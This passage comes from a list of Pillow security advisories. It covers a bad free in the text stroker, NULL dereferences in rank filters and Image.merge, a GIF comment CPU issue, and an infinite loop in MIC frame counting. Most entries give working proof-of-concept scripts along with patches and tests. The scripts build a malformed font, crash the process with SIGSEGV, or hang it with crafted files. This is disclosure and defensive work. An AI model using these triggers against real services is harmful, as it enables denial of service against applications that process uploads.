is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer. ### Details `glyph` is declared without a NULL initializer: - `src/_imagingft.c:848` The first measurement loop can jump to `glyph_error` before `glyph` is ever assigned: - `src/_imagingft.c:1010-1013` In the render loop the glyph is freed at the end of each iteration and not set back to NULL: - `src/_imagingft.c:1242` The cleanup frees it whenever a stroker exists: - `src/_imagingft.c:1253-1256` `ImageFont.truetype` accepts a file object or bytes, so the font is attacker-suppliable. ### PoC This needs `fontTools` and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph \"A\" to claim 5000 contours in a glyph body far too short for them, so `FT_Load_Glyph` returns an error while the face still opens. ```python import struct from fontTools.ttLib import TTFont from PIL import Image, ImageFont, ImageDraw SRC = \"Tests/fonts/FreeMono.ttf\" # any TTF works as a base tt = TTFont(SRC) gid = tt.getGlyphID(tt.getBestCmap()[ord(\"A\")]) loca_long = tt[\"head\"].indexToLocFormat tt.close() raw = bytearray(open(SRC, \"rb\").read()) nt = struct.unpack(\">H\", raw[4:6])[0] tbl = {} for i in range(nt): rec = 12 + i * 16 tag = bytes(raw[rec:rec+4]).decode(\"latin-1\") off, length = struct.unpack(\">II\", raw[rec+8:rec+16]) tbl[tag] = (off, length) glyf_off = tbl[\"glyf\"][0]; loca_off = tbl[\"loca\"][0] if loca_long: o0 = struct.unpack_from(\">I\", raw, loca_off + 4*gid)[0] else: o0 = struct.unpack_from(\">H\", raw, loca_off + 2*gid)[0] * 2 struct.pack_into(\">h\", raw, glyf_off + o0, 5000) # numberOfContours = 5000 open(\"evil.ttf\", \"wb\").write(raw) f = ImageFont.truetype(\"evil.ttf\", 20) # face opens d = ImageDraw.Draw(Image.new(\"RGB\", (64, 64))) d.text((0, 0), \"A\", font=f, stroke_width=2) # load error -> FT_Done_Glyph on bad pointer ``` Result on the pinned build: `FT_Load_Glyph` returns an error and execution reaches the `glyph_error` cleanup that calls `FT_Done_Glyph(glyph)` (the plugin surfaces `OSError: invalid outline`). ### Impact Applications that draw text with `stroke_width != 0` using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize `glyph = NULL` and set it back to NULL after each `FT_Done_Glyph`."}, {"id": "CVE-2026-112392", "fix_versions": ["13.0.0"], "aliases": ["GHSA-27h8-gf7j-v5hc"], "description": "``` ============================================================================ NULL dereference in ImagingExpand via rank filters on zero-size images Location: src/libImaging/Filter.c:79 in ImagingExpand() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` Applying Pillow's median, minimum, maximum or rank filter to an image with zero width or zero height crashes the whole Python process instead of raising an error. Empty images like this are easy to produce with ordinary calls, for example a crop box whose left and right edges (or top and bottom edges) are equal, or the second page of a crafted multi-page image file. An attacker who can supply crop coordinates or an uploaded file to an application that runs one of these filters can kill its worker process. The effect is a crash only, with no memory disclosure or corruption. The fault is in `ImagingExpand()` in `src/libImaging/Filter.c`. This is the edge-padding step that `RankFilter.filter()` always runs through the core `expand()` method, so `MedianFilter`, `MinFilter` and `MaxFilter` go through it too. It fills the margin by copying the input's edge pixels, reading `imIn->image[y][0]` and rows `0` / `ysize-1`, and never checks that the input has any pixels. For an empty image, `ImagingAllocateArray` leaves the line pointers NULL, so the first read dereferences NULL and the process dies with SIGSEGV, in every mode. Zero-size images reach this point through public API alone: - `Image.crop()`, `ImageOps.crop()` and `Image.new()`; - a multi-page TIFF opened by path whose second IFD declares `ImageLength = 0`, on which `seek(1)` and `load()` succeed. Every other `ImageFilter` returns an empty image for the same inputs. The zero-height case has crashed since the original PIL import, and the zero-width case since Pillow 4.3.0. This is separate from the `margin == 0` fix in #9755: the path is the same, but here the degenerate value is the image size rather than the kernel size. It has the same shape as the zero-dimension `ImagingOffset` crash fixed under GHSA-f87v-9578-p47w. The attached reproducer shows a one-pixel-wide control crop filtering normally, while four empty crops passed through the rank filters are each killed by SIGSEGV. A patch that returns early in `ImagingExpand` for empty input is included. ## Details `ImagingExpand()` (`src/libImaging/Filter.c`), the edge-padding helper that `ImageFilter.RankFilter` runs before the actual rank filter, reads the first pixel of each input line without checking that the input has any pixels. For an image with width 0 or height 0 the line pointers are NULL, so `Image.filter()` with `MedianFilter`, `MinFilter`, `MaxFilter` or `RankFilter` kills the interpreter with SIGSEGV instead of returning or raising: ```python from PIL import Image, ImageFilter im = Image.new(\"L\", (10, 10)).crop((3, 0, 3, 10)) # size (0, 10); crop() accepts left == right im.filter(ImageFilter.MedianFilter(3)) # SIGSEGV ``` Under gdb on the stock build the fault is at `ImagingExpand (imIn=\u2026, margin=1) at src/libImaging/Filter.c:105` (the `EXPAND(UINT8, image8)` expansion), called from `_expand_image` at `src/_imaging.c:1151`, with `imIn->xsize = 0` and `imIn->image[0] = 0x0`. The same happens for every mode the rank filters accept (`L`, `RGB`, `RGBA`, `I`, `F`), and the core `expand(m)` method with `m >= 1` crashes the same way in any mode, including `P`. The same input through `BoxBlur`, `GaussianBlur`, `Kernel`, `ModeFilter` and `UnsharpMask` returns a `(0, 10)` image; a `(1, 10)` crop through `MedianFilter` also returns normally. The unchecked edge reads date from the PIL import (`9a640e315`, 2010, so every Pillow release): the zero-height case has crashed since then, and the zero-width case since `fd907fbdc` (\"Fix 0-width and 0-height images other way\", Pillow 4.3.0), which stopped backing zero-width images with a dummy block and left their row pointers NULL. It is adjacent to the `margin == 0` divide-by-zero fix in #9755 \u2014 same `expand()` \u2192 `ImagingExpand()` path, but the unhandled degenerate value here is the image size rather than the kernel size. The path: ```python # src/PIL/ImageFilter.py:111-116 RankFilter.filter (MedianFilter/MinFilter/MaxFilter subclass it) image = image.expand(self.size // 2) return image.rankfilter(self.size, self.rank) ``` `expand(m)` with `m > 0` is `ImagingExpand(self->image, m)` (`src/_imaging.c:1142-1151`). It validates only `margin`, allocates an output of `(xsize+2*margin) \u00d7 (ysize+2*margin)` \u2014 which is non-empty, so the allocation succeeds \u2014 and then fills the margin by replicating edge pixels of the input: ```c // src/libImaging/Filter.c:70-101 imOut = ImagingNewDirty(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin); \u2026 #define EXPAND_LINE(type, image, yin, yout) \\ { \\ for (x = 0; x < margin; x++) { \\ imOut->image[yout][x] = imIn->image[yin][0]; \\ // line 79 } \\ \u2026 \\ for (x = 0; x < margin; x++) { \\ imOut->image[yout][margin + imIn->xsize + x] = \\ imIn->image[yin][imIn->xsize - 1]; \\ // [-1] when xsize == 0 } \\ } #define EXPAND(type, image) \\ { \\ for (y = 0; y < margin; y++) { \\ EXPAND_LINE(type, image, 0, y); \\ // line 0 of a 0-line image } \\ \u2026 for (y = 0; y < margin; y++) { \\ EXPAND_LINE(type, image, imIn->ysize - 1, margin + imIn->ysize + y); \\ // line -1 when ysize == 0 } \\ } ``` Why the line pointers are NULL: `ImagingNewPrologueSubtype` callocs the `im->image` pointer array (`src/libImaging/Storage.c:216`, at least one entry), and `ImagingAllocateArray` returns before assigning any of them for an empty image: ```c // src/libImaging/Storage.c:423-426 /* 0-width or 0-height image. No need to do anything */ if (!im->linesize || !im->ysize) { return im; } ``` So with `xsize == 0` every `imIn->image[y]` is NULL and `imIn->image[yin][0]` faults; with `ysize == 0` the top-margin pass reads `imIn->image[0]` (the single calloc'd NULL slot) and faults the same way, and the bottom-margin pass would index `imIn->image[-1]`. `ImagingRankFilter` is never reached. Zero-size images are ordinary objects in Pillow and arrive at `filter()` through public API only: - `Image.crop(box)` rejects only inverted boxes (`src/PIL/Image.py:1385-1390`); `left == right` or `upper == lower` yields a 0\u00d7N / N\u00d70 image. `ImageOps.crop(im, border)` with `border == width // 2`, and `Image.new(mode, (0, n))`, do the same. - From a file: `ImageFile.__init__` refuses a zero first-frame size (`src/PIL/ImageFile.py:167-173`), but `TiffImagePlugin._setup()` takes `ImageWidth`/`ImageLength` of every later IFD as-is on `seek()` (`src/PIL/TiffImagePlugin.py:1468-1481`). For an uncompressed page of an image opened by path, `ImageFile.load()` takes the mmap branch (`src/PIL/ImageFile.py:307, 325-347`) and `Image.core.map_buffer` builds an `8\u00d70` core image without complaint (`src/map.c:127-141`), so `im.seek(1); im.load()` succeeds and a following `im.filter(ImageFilter.MedianFilter(3))` segfaults in `ImagingExpand` exactly as above (verified under gdb: `imIn->ysize = 0`, `imIn->image[0] = 0x0`). A 384-byte two-page TIFF is enough. ## Impact Denial of service: the whole embedding process (web worker, pipeline process) dies with SIGSEGV rather than the request failing with a Python exception. It is reachable by a remote user in two realistic shapes: (a) an application that crops an upload to user-supplied coordinates and then applies a median/min/max filter (denoise, dilate/erode, thumbnail clean-up) \u2014 a box with `x0 == x1` or `y0 == y1` passes `crop()` and crashes the worker; (b) an application that opens an uploaded TIFF from disk by path, iterates its pages and applies a rank filter to each \u2014 a crafted second IFD with `ImageLength = 0` crashes it. The faulting access is a read at address 0 (or a fixed small negative offset from the pointer array for the `[-1]` cases, which is not reached because the first read already faults), so there is no memory disclosure or corruption beyond the crash. The same shape, a zero-dimension image crashing C code reached through public API, was fixed in `ImagingOffset` in 39d14a0db (GHSA-f87v-9578-p47w). ## Reproducing `repro` is a single Python script that uses the installed Pillow as-is (no rebuild). It runs each case in a fresh child interpreter, with core dumps disabled. That way a segfault shows up as the child's exit status and the script itself keeps running. Each child builds `Image.new(\"L\", (10, 10)).crop(box)`, prints its size, calls `im.filter(...)` and then prints the size of the result. - **Control**: a `(1, 10)` crop (`(3, 0, 4, 10)`) through `MedianFilter(3)`. The rank filter accepts a thin image and must return normally. - **PoC**: the rank filters on empty crops. - A `(0, 10)` crop (`left == right`, `(3, 0, 3, 10)`) through `MedianFilter(3)` and `MaxFilter(5)`. - A `(10, 0)` crop (`upper == lower`, `(0, 3, 10, 3)`) through `MinFilter(3)`. - A `(0, 0)` crop (`(3, 3, 3, 3)`) through `RankFilter(3, 4)`. Expected output on the stock build: ``` crop(3, 0, 4, 10) MedianFilter(3) (1, 10) -> (1, 10) crop(3, 0, 3, 10) MedianFilter(3) (0, 10) -> killed by SIGSEGV crop(3, 0, 3, 10) MaxFilter(5) (0, 10) -> killed by SIGSEGV crop(0, 3, 10, 3) MinFilter(3) (10, 0) -> killed by SIGSEGV crop(3, 3, 3, 3) RankFilter(3, 4) (0, 0) -> killed by SIGSEGV BUG ``` The size printed before `->` shows that the empty image was created without error. The crash happens inside `filter()`, in `ImagingExpand`. The last line is `BUG` if the control returned normally and at least one rank-filter child was killed by SIGSEGV. Otherwise it is `OK`. The script covers the crop route only; the TIFF route described above fails the same way (`im.seek(1); im.load(); im.filter(ImageFilter.MedianFilter(3))` on a by-path two-page TIFF whose second IFD has `ImageLength = 0`). With the attached patch, every PoC line prints the unchanged size (for example `(0, 10) -> (0, 10)`) and the script prints `OK`. ## Suggested fix The attached patch handles the empty input in `ImagingExpand` (`src/libImaging/Filter.c`), right after the `margin` checks and before the `ImagingNewDirty` allocation and the replication loops. With `xsize == 0` or `ysize == 0` there are no edge pixels to replicate, so it returns a zeroed (`ImagingNew`, not `ImagingNewDirty`) image of the expanded size, with the input's palette copied. This keeps `ImagingExpand`'s size contract, so `ImagingRankFilter` then produces an output of `xsize - 2*margin` \u00d7 `ysize - 2*margin`, i.e. the original empty size, matching every other filter. It mirrors the existing zero-dimension early returns in `src/libImaging/BoxBlur.c` (127004368) and `src/libImaging/Offset.c` (39d14a0db): ```diff --- a/src/libImaging/Filter.c +++ b/src/libImaging/Filter.c @@ -67,6 +67,17 @@ ImagingExpand(Imaging imIn, int margin) { return (Imaging)ImagingError_ValueError(\"filter size too large\"); } + if (imIn->xsize == 0 || imIn->ysize == 0) { + /* No edge pixels to replicate (and no lines to read from), so + return a zeroed image of the expanded size */ + imOut = ImagingNew(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin); + if (!imOut) { + return NULL; + } + ImagingCopyPalette(imOut, imIn); + return imOut; + } + imOut = ImagingNewDirty(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin); if (!imOut) { ``` The patch also adds `test_rankfilter_zero_dimension` next to `test_rankfilter_error` in `Tests/test_image_filter.py`, which filters `Image.new(\"L\", size)` for `size` in `((0, 6), (6, 0), (0, 0))` with `MinFilter`, `MedianFilter`, `MaxFilter` and `RankFilter(3, 2)` and asserts the size is preserved. Applied to a clean checkout and rebuilt, the reproducer prints `OK` and `Tests/test_image_filter.py` passes. A Python-level guard in `RankFilter.filter` (`if 0 in image.size: return image.copy()`) would also stop the crash, but the C-level check protects any other caller of `expand()`. ## The patch Return a zeroed image from ImagingExpand when the input has zero width or height instead of reading NULL line pointers Applies to `src/libImaging/Filter.c` at the commit above. ```diff diff --git a/Tests/test_image_filter.py b/Tests/test_image_filter.py index 974d4b7a3..8dc8e1a1a 100644 --- a/Tests/test_image_filter.py +++ b/Tests/test_image_filter.py @@ -155,6 +155,23 @@ def test_rankfilter_error(filter: ImageFilter.RankFilter) -> None: im.filter(filter).getpixel((1, 1)) +@pytest.mark.parametrize( + \"filter\", + ( + ImageFilter.MinFilter, + ImageFilter.MedianFilter, + ImageFilter.MaxFilter, + ImageFilter.RankFilter(3, 2), + ), +) +@pytest.mark.parametrize(\"size\", ((0, 6), (6, 0), (0, 0))) +def test_rankfilter_zero_dimension( + filter: ImageFilter.RankFilter, size: tuple[int, int] +) -> None: + im = Image.new(\"L\", size) + assert im.filter(filter).size == size + + def test_rankfilter_properties() -> None: rankfilter = ImageFilter.RankFilter(3, 2) diff --git a/src/libImaging/Filter.c b/src/libImaging/Filter.c index 3492a871f..d702db5f9 100644 --- a/src/libImaging/Filter.c +++ b/src/libImaging/Filter.c @@ -67,6 +67,17 @@ ImagingExpand(Imaging imIn, int margin) { return (Imaging)ImagingError_ValueError(\"filter size too large\"); } + if (imIn->xsize == 0 || imIn->ysize == 0) { + /* No edge pixels to replicate (and no lines to read from), so + return a zeroed image of the expanded size */ + imOut = ImagingNew(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin); + if (!imOut) { + return NULL; + } + ImagingCopyPalette(imOut, imIn); + return imOut; + } + imOut = ImagingNewDirty(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin); if (!imOut) { ``` ## The reproducer Reproducer \u2014 repro, 1,333 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # Pillow: rank filters (Median/Min/Max/RankFilter) on a 0-wide or 0-high image # SIGSEGV in ImagingExpand (src/libImaging/Filter.c) - NULL line pointer read. # Each case runs in a child interpreter; BUG if the control returns and any # zero-size case dies of SIGSEGV. import signal, subprocess, sys CHILD = \"\"\" import resource; resource.setrlimit(resource.RLIMIT_CORE, (0, 0)) from PIL import Image, ImageFilter im = Image.new(\"L\", (10, 10)).crop(%s) # public API; crop accepts x0==x1 / y0==y1 print(im.size, \"->\", end=\" \", flush=True) print(im.filter(ImageFilter.%s).size) \"\"\" def run(box, flt): p = subprocess.run([sys.executable, \"-c\", CHILD % (box, flt)], capture_output=True, text=True) out = p.stdout.strip() if p.returncode < 0: out += \" killed by \" + signal.Signals(-p.returncode).name print(f\" crop{box!s:<16} {flt:<18} {out}\") return p.returncode ctrl = run((3, 0, 4, 10), \"MedianFilter(3)\") # (1,10): must work rcs = [run((3, 0, 3, 10), \"MedianFilter(3)\"), # (0,10) run((3, 0, 3, 10), \"MaxFilter(5)\"), run((0, 3, 10, 3), \"MinFilter(3)\"), # (10,0) run((3, 3, 3, 3), \"RankFilter(3, 4)\")] # (0,0) bug = ctrl == 0 and any(rc == -signal.SIGSEGV for rc in rcs) print(\"BUG\" if bug else \"OK\") ``` ---"}, {"id": "CVE-2026-112891", "fix_versions": ["13.0.0"], "aliases": ["GHSA-fc9g-5qg7-mf45"], "description": "On Pillow 12.3.0 and upstream `main` (`ad277e2761b489681e71b51e91367d46b0ceabb9`), a GIF with a long comment makes `_get_global_header()` copy portions of the comment repeatedly when saving, including comments carried over from untrusted images. I suggest provisional **Moderate** severity for crafted-image CPU denial of service, with CVSS-B 6.9 assuming a network service automatically opens unauthenticated uploads and they are resaved as GIFs; impact depends on input-size, concurrency, and worker CPU limits."}, {"id": "CVE-2026-112405", "fix_versions": ["13.0.0"], "aliases": ["GHSA-cp9v-662q-vvx9"], "description": "### Summary `Image.merge()` checks the mode of every input band except band 0. If band 0 is a single-band `I` or `F` image, the native merge routine reads a pixel pointer that is NULL for those modes and the process crashes. The IPTC plugin reaches this from a plain `Image.open()` followed by a load, and IPTC has no magic-byte prefilter, so a crafted file with no recognizable header can drive it. ### Details The validation loop skips band 0: - `src/PIL/Image.py:3795` iterates `for band in bands[1:]` and checks mode and size only for those. For an `I` or `F` image the 8-bit plane `image8` is NULL (only `image32` is set). `ImagingMerge` dereferences `bands[0]->image8[y]` for the multi-band output modes: - `src/libImaging/Bands.c:302`, `:311`, `:321` The IPTC loader builds the band list from an attacker-typed sub-image and passes it to merge with the sub-image at index 0: - `src/PIL/IptcImagePlugin.py:156-160` - `src/PIL/IptcImagePlugin.py:169` registers the opener with no accept function. ### PoC ```python from PIL import Image # Band 0 is a single-band \"I\" image: its image8 plane is NULL. merge() validates only # bands[1:], so the native ImagingMerge dereferences the NULL plane for band 0. band0 = Image.new(\"I\", (4, 4)) Image.merge(\"RGB\", [band0, Image.new(\"L\", (4, 4)), Image.new(\"L\", (4, 4))]) ``` Run it: ``` $ python 02_poc.py Segmentation fault (core dumped) ``` Observed on a source build of commit `3e2ab96`. Under AddressSanitizer: ``` ==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 #0 ImagingMerge src/libImaging/Bands.c:311 #1 _merge src/_imaging.c:2492 SUMMARY: AddressSanitizer: SEGV src/libImaging/Bands.c:311 in ImagingMerge ``` The null address confirms the dereference of the missing `image8` plane for band 0. ### Impact NULL pointer dereference in a C extension. A crafted file opened and loaded through the IPTC path crashes the worker process. This is a hard crash, not a Python exception an application can catch."}, {"id": "CVE-2026-112390", "fix_versions": ["13.0.0"], "aliases": ["GHSA-22hg-r758-rrw9"], "description": "``` ============================================================================ Infinite loop in MIC n_frames when the embedded TIFF has 3+ IFDs Location: src/PIL/MicImagePlugin.py:86 in MicImageFile.tell() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A crafted 5.6 KB image file makes Pillow loop forever at 100% CPU when an application asks how many frames the image has. This only affects installations that have the optional `olefile` package. Any application that opens an untrusted image and then reads `im.n_frames` can have one worker tied up indefinitely. That includes the common \"is this image animated?\" check and re-saving with `save_all=True` to TIFF, PDF or WebP. The call never returns, raises no exception, and does not grow memory, so only an external watchdog stops it. The file is a Microsoft Image Composer (MIC) container, which Pillow recognises by its magic bytes with no extension needed. Inside it is a TIFF stream with three chained image directories. `MicImageFile` subclasses `TiffImageFile` and overrides `seek()` and `tell()` so that a \"frame\" means one stream in the container. It still inherits `TiffImageFile.n_frames` (`src/PIL/TiffImagePlugin.py:1212`), which walks the embedded TIFF's directory chain with `self._seek(self.tell() + 1)` until `_n_frames` is set. Two things stop that walk from making progress: - `MicImageFile.tell()` (`src/PIL/MicImagePlugin.py:86`) returns the constant stream index. - `MicImageFile.seek()` calls `TiffImageFile._open()`, which resets `_n_frames` to `None`. As a result, the loop re-parses the second directory forever whenever the embedded stream has three or more directories. `Image.open()`, `load()`, `thumbnail()`, `convert()`, `is_animated` and `ImageSequence` iteration do not hang on this file. The regression was introduced in 0b33a87b0d15 (April 2020, first released in 7.2.0), which removed `MicImageFile`'s own `n_frames` property. The attached reproducer builds the file in code and checks two controls, which return 3 and 1 frames as expected; the malicious file is still running when it is killed after 20 seconds. ## Details `MicImageFile` (registered for `Image.open` whenever `olefile` is installed) subclasses `TiffImageFile` and redefines a \"frame\" as one OLE `*.ACI/Image` stream, overriding `seek()` and `tell()` accordingly. It does not override the `n_frames` property, so the inherited TIFF implementation runs, and that implementation relies on `tell()` advancing as IFDs are loaded. `MicImageFile.tell()` returns the OLE stream index, which never changes inside `n_frames`, so the loop re-parses the same IFD forever. A 5632-byte OLE2 compound file whose `img0.ACI/Image` stream is a 351-byte TIFF with three chained 1\u00d71 IFDs is enough. `Image.open()` on it succeeds (format `MIC`, detected by the OLE magic, no extension needed); evaluating `im.n_frames` then never returns and keeps one core at 100 %. A Python stack taken 27 s in is ``` File \"src/PIL/TiffImagePlugin.py\", line 1622 in _setup File \"src/PIL/TiffImagePlugin.py\", line 1271 in _seek File \"src/PIL/TiffImagePlugin.py\", line 1219 in n_frames ``` and instrumenting `_seek` shows it being called with `frame=1`, `tell()==0`, `_frame_pos==[8, 122]`, `_n_frames is None` on every iteration \u2014 identical state, so the loop is non-terminating, not merely slow. The same 351 TIFF bytes opened directly give `n_frames == 3` in milliseconds, and the same container around a 1-IFD TIFF gives `n_frames == 1`. The loop, `src/PIL/TiffImagePlugin.py:1212`: ```python @property def n_frames(self) -> int: current_n_frames = self._n_frames if current_n_frames is None: current = self.tell() self._seek(len(self._frame_pos)) while self._n_frames is None: self._seek(self.tell() + 1) # 1219 self.seek(current) ``` and the overrides that break its progress assumption, `src/PIL/MicImagePlugin.py:76`: ```python def seek(self, frame: int) -> None: \u2026 self.fp = self.ole.openstream(filename) TiffImagePlugin.TiffImageFile._open(self) # 82: resets _n_frames to None self.frame = frame def tell(self) -> int: return self.frame # 87: OLE stream index, not TIFF __frame ``` For a plain TIFF, `_seek(k)` (`TiffImagePlugin.py:1236`) loads IFDs up to `k`, appending each offset to `_frame_pos`, setting `_n_frames` when an IFD's next-pointer is 0 (or already seen), and setting the private `__frame = k`; `TiffImageFile.tell()` returns `__frame`, so `self.tell() + 1` walks the chain to its end. For a MIC file, `Image.open` \u2192 `MicImageFile._open` sets `self._n_frames = len(self.images)` at line 69, but then calls `self.seek(0)` \u2192 `TiffImageFile._open` (line 82), which unconditionally sets `self._n_frames = None` (`TiffImagePlugin.py:1203`) and `_seek(0)`s into the embedded stream. With the 3-IFD stream, IFD 0 has a non-zero next pointer, so `_n_frames` stays `None` after open. `n_frames` then runs: `current = self.tell()` is `0` (the OLE index); `_seek(len(_frame_pos))` = `_seek(1)` loads IFD 1, whose next pointer is also non-zero and not yet in `_frame_pos`, so `_n_frames` is still `None`. The `while` body computes `self.tell() + 1` = `0 + 1` and calls `_seek(1)` again; `len(_frame_pos)` is already 2, so nothing new is loaded \u2014 IFD 1 is re-read via `tag_v2.load` and `_setup()` and the state is unchanged. This repeats indefinitely; IFD 2 is never reached. Two chained IFDs are not enough (IFD 1's next pointer of 0 sets `_n_frames = 2` on the first `_seek(1)`); three or more are. `Tests/test_file_mic.py::test_n_frames` passes only because `hopper.mic`'s stream has a single IFD, so `_seek(0)` sets `_n_frames = 1` and the loop is never entered; the `len(self.images)` assignment at line 69 is only consumed by the initial `_seek_check(0)` and is overwritten before any caller can read `n_frames`. A side effect of the same mismatch: with a 2-IFD stream `n_frames` returns 2 (TIFF IFDs) while `seek(1)` indexes `self.images[1]` (OLE streams) and raises `IndexError` \u2014 visible with `save_all=True`. ## Impact Any application that lets Pillow open an uploaded file and then reads `im.n_frames` \u2014 the usual way to decide whether an image is animated (`getattr(im, \"n_frames\", 1) > 1`), and also what `hasattr(im, \"n_frames\")`/`getattr(im, \"n_frames\", 1)` in Pillow's own `TiffImagePlugin._save_all` (`:2333`), `PdfImagePlugin._save` (`:250`) and `WebPImagePlugin._save_all` (`:171`) evaluate when the app re-saves with `save_all=True` \u2014 can be made to spin one worker at 100 % CPU indefinitely with a 5.6 KB upload. The file needs no particular extension (OLE magic; `FpxImagePlugin` rejects it on CLSID and `MicImagePlugin` accepts it), default limits do not intervene, memory does not grow, and no exception is raised, so only an external watchdog ends it. Preconditions: `olefile` installed (it is an optional dependency; without it the MIC plugin is not registered) and the application touching `n_frames` or a `save_all` path. `Image.open()` itself, `load()`, `thumbnail()`, `convert()`, `is_animated` and `ImageSequence` iteration do not hang on this file. This is the same class of tiny-file, pure-Python non-termination as CVE-2021-28676 (FLI) and CVE-2021-28677 (EPS), and like CVE-2019-19911 (FPX) it depends on `olefile`; it differs in not being reached by the default open/load path. The regression was introduced in `0b33a87b0d15` (\"Replaced property methods for n_frames and is_animated with normal properties\", 2020-04-13), first released in 7.2.0, which replaced `MicImageFile`'s own `n_frames` property with the `_n_frames` attribute that `TiffImageFile._open` overwrites. ## Reproducing `repro` is a single Python script that runs against the installed Pillow (with `olefile`, which is what registers the MIC plugin). It builds every input in code, writes each one to a temporary file named `x` with no extension (so Pillow identifies the format from its magic bytes), and opens it in a child Python process that runs `Image.open(path)` and prints `im.format` and `im.n_frames`. It builds two things in code: - `tiff(n)`: an `n`-page TIFF of 4\u00d74 greyscale frames written by Pillow itself (`save_all=True`), so the IFDs are chained exactly as Pillow's own writer chains them. The last next-IFD pointer is 0. - `mic(stream)`: a minimal OLE2 compound file with a storage named `img0.ACI` that contains a stream named `Image`, which is the layout `MicImageFile._open` looks for. Sector 0 is the FAT and sector 1 is the directory. The stream starts at sector 2 and is padded to 4096 bytes, so the file doesn't need a mini-FAT. The result is 5632 bytes. It runs three inputs, each in its own child process with a hard 20-second kill: 1. control: the plain 3-page TIFF. Expected `TIFF n_frames = 3`. 2. control: a MIC wrapping a 1-page TIFF. Expected `MIC n_frames = 1`. 3. attack: the same MIC container wrapping the 3-page TIFF. The timeout is enforced by killing the child rather than by an in-process alarm, because a `TimeoutError` raised while `ImageFileDirectory_v2.load()` is parsing would be caught by its `except OSError` (`TiffImagePlugin.py:958`) and leave the IFD half-parsed instead of stopping the loop. The script prints `BUG` when both controls return and the attack child is still running after 20 seconds; otherwise it prints `OK`. With the attached patch applied, the attack case prints `MIC n_frames = 1` and the script prints `OK`. ## Suggested fix The attached patch restores the OLE-level frame count after the embedded TIFF stream has been opened, so the inherited `n_frames` never enters its IFD-walking loop and `n_frames`/`seek()` agree on what a frame is. In `MicImageFile.seek`, `src/PIL/MicImagePlugin.py:82`, right after `TiffImagePlugin.TiffImageFile._open(self)`: ```diff TiffImagePlugin.TiffImageFile._open(self) + # TiffImageFile._open() resets the frame count to that of the + # embedded TIFF stream, but the frames of an MIC file are its streams + self._n_frames = len(self.images) + self.is_animated = self._n_frames > 1 + self.frame = frame ``` Doing this in `seek()` restores the invariant on every seek, not only the first. The existing assignments at lines 69\u201370 of `_open` are kept: the initial `seek(0)` \u2192 `_seek_check(0)` reads `n_frames` before `TiffImageFile._open` has run, so they are still needed. Plain read-only `n_frames`/`is_animated` properties, as before 0b33a87b0, are no longer a drop-in option because `TiffImageFile._seek` assigns `self.is_animated`. With the patch applied to a clean tree and rebuilt, the attack file returns `n_frames == 1` immediately, a 2-IFD stream raises `EOFError` on `seek(1)` instead of `IndexError`, `save_all=True` to TIFF and PDF completes, and `Tests/test_file_mic.py` and `Tests/test_file_tiff.py` pass. No regression test is included, since one would need a new binary MIC fixture in `Tests/images`. The patch passed that check but has not been reviewed beyond it as the final form of the fix. Two things it leaves alone: it does not add the `_im` reset that `TiffImageFile.seek` performs after `_seek` (`TiffImagePlugin.py:1229`), which matters when switching between OLE streams of different size or mode; and `TiffImageFile.n_frames` still advances via the overridable `tell()` rather than its private `__frame`, so making it iterate on `__frame` would protect any other subclass that redefines `tell()`. ## The patch Restore the OLE stream frame count in MicImageFile.seek() after TiffImageFile._open() resets it, so n_frames cannot loop forever Applies to `src/PIL/MicImagePlugin.py` at the commit above. It passed the mechanical check \u2014 applied to a clean tree, rebuilt, the reproducer stopped firing \u2014 but a reviewer did not endorse it as the right fix. ```diff diff --git a/src/PIL/MicImagePlugin.py b/src/PIL/MicImagePlugin.py index f8cf3a76f..2bb0109ce 100644 --- a/src/PIL/MicImagePlugin.py +++ b/src/PIL/MicImagePlugin.py @@ -81,6 +81,11 @@ class MicImageFile(TiffImagePlugin.TiffImageFile): TiffImagePlugin.TiffImageFile._open(self) + # TiffImageFile._open() resets the frame count to that of the + # embedded TIFF stream, but the frames of an MIC file are its streams + self._n_frames = len(self.images) + self.is_animated = self._n_frames > 1 + self.frame = frame def tell(self) -> int: ``` ## The reproducer Reproducer \u2014 repro, 2,330 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # MicImageFile inherits TiffImageFile.n_frames, whose loop `self._seek(self.tell()+1)` # relies on tell() advancing; MicImageFile.tell() returns the OLE stream index (constant), # so a MIC file whose Image stream is a TIFF with >=3 chained IFDs makes im.n_frames spin forever. import io, struct, subprocess, sys, tempfile, os from PIL import Image def tiff(n): # n-page TIFF written by Pillow itself b = io.BytesIO(); fr = [Image.new(\"L\", (4, 4), i) for i in range(n)] fr[0].save(b, \"TIFF\", save_all=True, append_images=fr[1:]); return b.getvalue() def mic(stream): # minimal OLE2 file: storage \"img0.ACI\" containing stream \"Image\" END, FREE, FATSECT = 0xFFFFFFFE, 0xFFFFFFFF, 0xFFFFFFFD data = stream.ljust(4096, b\"\\0\"); n = len(data) // 512 fat = [FATSECT, END] + [3 + k for k in range(n - 1)] + [END]; fat += [FREE] * (128 - len(fat)) def entry(name, kind, child, start, size): raw = name.encode(\"utf-16-le\") + b\"\\0\\0\" return raw.ljust(64, b\"\\0\") + struct.pack(\" {out}\"); return hung c1 = run(\"control: 3-page TIFF, direct\", tiff(3)) c2 = run(\"control: MIC around 1-page TIFF\", mic(tiff(1))) bug = run(\"attack: MIC around 3-page TIFF\", mic(tiff(3))) print(\"BUG\" if bug and not c1 and not c2 else \"OK\") ``` ---"}, {"id": "CVE-2026-112401", "fix_versions": ["13.0.0"], "aliases": ["GHSA-74r2-7ff9-mjj2"], "description": "``` ============================================================================ Quadratic GIF comment concatenation allows DoS in Image.open() Location: src/PIL/GifImagePlugin.py:266 in 